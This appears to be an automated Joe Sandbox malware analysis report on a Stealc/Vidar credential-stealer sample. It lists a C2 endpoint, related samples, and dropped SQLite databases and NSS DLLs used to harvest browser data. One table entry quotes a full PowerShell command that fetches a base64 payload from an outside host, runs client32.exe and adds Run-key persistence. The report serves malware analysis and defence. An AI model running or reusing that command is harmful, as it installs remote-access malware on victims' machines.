Excluded IPs from analysis (whitelisted): 199.232.210.172, 142.250.184.227, 142.250.185.110, 142.251.168.84, 192.229.221.95, 34.104.35.123, 142.250.186.35, 172.217.18.10, 142.250.181.234, 142.250.186.170, 172.217.16.202, 142.250.185.74, 216.58.206.42, 172.217.18.106, 142.250.184.202, 216.58.212.138, 142.250.186.138, 142.250.186.42, 142.250.186.74, 142.250.186.106, 216.58.206.74, 142.250.184.234, 142.250.185.106
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:27:28	API Interceptor	62x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	0HUxKfIvSV.exe	Get hash	malicious	Clipboard Hijacker	Browse
	0HUxKfIvSV.exe	Get hash	malicious	Clipboard Hijacker	Browse
	completedfiles.....pdf	Get hash	malicious	Unknown	Browse
	https://docs.google.com/uc?export=download&id=1gucHUhrnC0jRDGAhRfRkCK8rYqf0o3cv	Get hash	malicious	Unknown	Browse
	https://docs.google.com/uc?export=download&id=1gucHUhrnC0jRDGAhRfRkCK8rYqf0o3cv	Get hash	malicious	Unknown	Browse
	https://docs.google.com/uc?export=download&id=1rG5XITnDsiVQCEMAfg1Ex3pDcYxrlv0N	Get hash	malicious	Unknown	Browse
	https://email.email.pandadoc.net/c/eJxMkE9vEzEQxT_N-pbKO_ba3oMPhWipiEBAoYdeqrE92zVJbGfthD-fHkWi0OOM9Hv6vResU8LNhoXsz0dK7SkG-2Z5fwRKPgf39rRsv4op3T4ujGyvBQcQIxi2WBVmDUaIIJAgaJrROA0G-iB6wRWyaIGD7DmMvZYDqJtej653A7hxHASXppOcjhgPNwVTwJD9TaLGYn1qK3pCdyDb1jOxg11aK7UTtx1MHUxYyn_E52MH04t-B9MFOjG1vKfUia3X2M_Kjc7LORAnLZT03Ds1eE-GBjOKAXojOzGxlFuco8cWc7rOMAQynlBsvBtgI0GJDY6Ob0hzI7AHR0GxvD5jir__QXSR97_ybpvLA1U6_hxPwWtiq625LJE6yfex4rnlgmurV3u20iXWv7hvCj6bWb97PBX_PTp1rg_yE2v2peCm4fpM7fWnUnp9s4sF9iOv-1rQ0zXU7Bzsvn3A0PT9nfmCQ_ioy92fAAAA__-PeqWA	Get hash	malicious	Unknown	Browse
	w143WSLuC4.exe	Get hash	malicious	Unknown	Browse
	w143WSLuC4.exe	Get hash	malicious	Clipboard Hijacker	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
185.215.113.206	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
play.google.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.186.110
	NGy4YdKSwE.exe	Get hash	malicious	Stealc, Vidar	Browse	216.58.206.46
	NlpWS1Iq5Z.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.185.174
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.185.78
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.185.110
	http://199.59.243.227	Get hash	malicious	HTMLPhisher	Browse	142.250.184.206
	5BQwrSLxIZ.exe	Get hash	malicious	Stealc	Browse	142.250.186.142
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.185.142
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	216.58.206.46
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.184.206

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	completedfiles.....pdf	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 184.28.90.27 13.107.246.45
	https://docs.google.com/uc?export=download&id=1gucHUhrnC0jRDGAhRfRkCK8rYqf0o3cv	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 184.28.90.27 13.107.246.45
	https://docs.google.com/uc?export=download&id=1gucHUhrnC0jRDGAhRfRkCK8rYqf0o3cv	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 184.28.90.27 13.107.246.45
	https://docs.google.com/uc?export=download&id=1rG5XITnDsiVQCEMAfg1Ex3pDcYxrlv0N	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 184.28.90.27 13.107.246.45
	https://email.email.pandadoc.net/c/eJxMkE9vEzEQxT_N-pbKO_ba3oMPhWipiEBAoYdeqrE92zVJbGfthD-fHkWi0OOM9Hv6vResU8LNhoXsz0dK7SkG-2Z5fwRKPgf39rRsv4op3T4ujGyvBQcQIxi2WBVmDUaIIJAgaJrROA0G-iB6wRWyaIGD7DmMvZYDqJtej653A7hxHASXppOcjhgPNwVTwJD9TaLGYn1qK3pCdyDb1jOxg11aK7UTtx1MHUxYyn_E52MH04t-B9MFOjG1vKfUia3X2M_Kjc7LORAnLZT03Ds1eE-GBjOKAXojOzGxlFuco8cWc7rOMAQynlBsvBtgI0GJDY6Ob0hzI7AHR0GxvD5jir__QXSR97_ybpvLA1U6_hxPwWtiq625LJE6yfex4rnlgmurV3u20iXWv7hvCj6bWb97PBX_PTp1rg_yE2v2peCm4fpM7fWnUnp9s4sF9iOv-1rQ0zXU7Bzsvn3A0PT9nfmCQ_ioy92fAAAA__-PeqWA	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 4.245.163.56 184.28.90.27 13.107.246.45
	http://C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe%22%20-Ex%20Bypass%20-NoP%20-C%20$HRBRG='https://hdlclub2.cc/work/das.php?7387';$VHFTQMWZL=(New-Object%20System.Net.WebClient).DownloadString($HRBRG);$ZLFHWXDCL=%5BSystem.Convert%5D::FromBase64String($VHFTQMWZL);$asd%20=%20Get-Random%20-Minimum%20-5%20-Maximum%2012;%20$ATADDMBRA=%5BSystem.Environment%5D::GetFolderPath('ApplicationData')+'%5CYWYSGSQHQ'+$asd;if%20(!(Test-Path%20$ATADDMBRA%20-PathType%20Container))%20%7B%20New-Item%20-Path%20$ATADDMBRA%20-ItemType%20Directory%20%7D;$p=Join-Path%20$ATADDMBRA%20'CXCC.zip';%5BSystem.IO.File%5D::WriteAllBytes($p,$ZLFHWXDCL);try%20%7B%20%20%20%20Add-Type%20-A%20System.IO.Compression.FileSystem;%5BSystem.IO.Compression.ZipFile%5D::ExtractToDirectory($p,$ATADDMBRA)%7D%20catch%20%7B%20%20%20%20Write-Host%20'Failed:%20'%20+%20$_;%20%20%20%20exit%7D;$CV=Join-Path%20$ATADDMBRA%20'client32.exe';if%20(Test-Path%20$CV%20-PathType%20Leaf)%20%7B%20Start-Process%20-FilePath%20$CV%7D%20else%20%7BWrite-Host%20'No%20exe.'%7D;$fd=Get-Item%20$ATADDMBRA%20-Force;%20$fd.attributes='Hidden';$s=$ATADDMBRA+'%5Cclient32.exe';$k='HKCU:%5CSOFTWARE%5CMicrosoft%5CWindows%5CCurrentVersion%5CRun';$v='NXXUI';$ASDASD='String';New-ItemProperty%20-Path%20$k%20-Name%20$v%20-Value%20$s%20-PropertyType%20$ASDASD;	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 184.28.90.27 13.107.246.45
	NGy4YdKSwE.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 4.245.163.56 184.28.90.27 13.107.246.45
	NlpWS1Iq5Z.exe	Get hash	malicious	Stealc, Vidar	Browse	20.109.210.53 4.245.163.56 184.28.90.27 13.107.246.45
	https://bioaquatictesting-my.sharepoint.com/:f:/g/personal/securedocument_bio-aquatic_com/EqfT1pjHkSVIsZ_uZ-FoAy4BgWwRj-5I-q_oaUpvi5Mxeg?e=eaqeTT	Get hash	malicious	Unknown	Browse	20.109.210.53 4.245.163.56 184.28.90.27 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	sYYK13hD0c.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NGy4YdKSwE.exe	Get hash	malicious	Stealc, Vidar	Browse
	NlpWS1Iq5Z.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NGy4YdKSwE.exe	Get hash	malicious	Stealc, Vidar	Browse
	NlpWS1Iq5Z.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	5BQwrSLxIZ.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKEGDAKEHJDHIDHJJDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEGDBAFHJJDAKEBGCFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGIEGCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCBGIIECGHCAKECAFBFHIJKEBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAEBFBKKJDHIDHIDBAEHCGIEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHIIIJDAAAAAAKECBFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JDGIIDHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: NGy4YdKSwE.exe, Detection: malicious, Browse Filename: NlpWS1Iq5Z.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5BQwrSLxIZ.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 2DpxPyeiUv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: sYYK13hD0c.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: NGy4YdKSwE.exe, Detection: malicious, Browse Filename: NlpWS1Iq5Z.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 2DpxPyeiUv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
